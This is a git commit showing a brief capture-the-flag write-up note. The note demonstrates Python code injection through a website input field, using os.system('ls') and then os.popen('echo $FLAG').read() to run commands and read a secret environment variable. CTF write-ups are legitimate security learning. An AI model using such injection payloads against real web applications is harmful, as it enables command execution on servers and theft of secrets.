Second CTFs part

This commit is contained in:
2026-05-10 20:42:33 +02:00
parent 5635246581
commit 9f240eba3b
87 changed files with 404506 additions and 0 deletions

View File

@@ -0,0 +1,10 @@
INPUT: ="PROVA"+os.system('ls')
OUTPUT: can only concatenate str (not "int) with str
Therefore we can execute python from website. But os.system return an integer
instead of the output of command.
From stackoverflow: os.popen("command").read() return the output of command:
INPUT: ="PROVA"+os.popen('echo $FLAG').read()
OUTPUT: "PROVA"+flag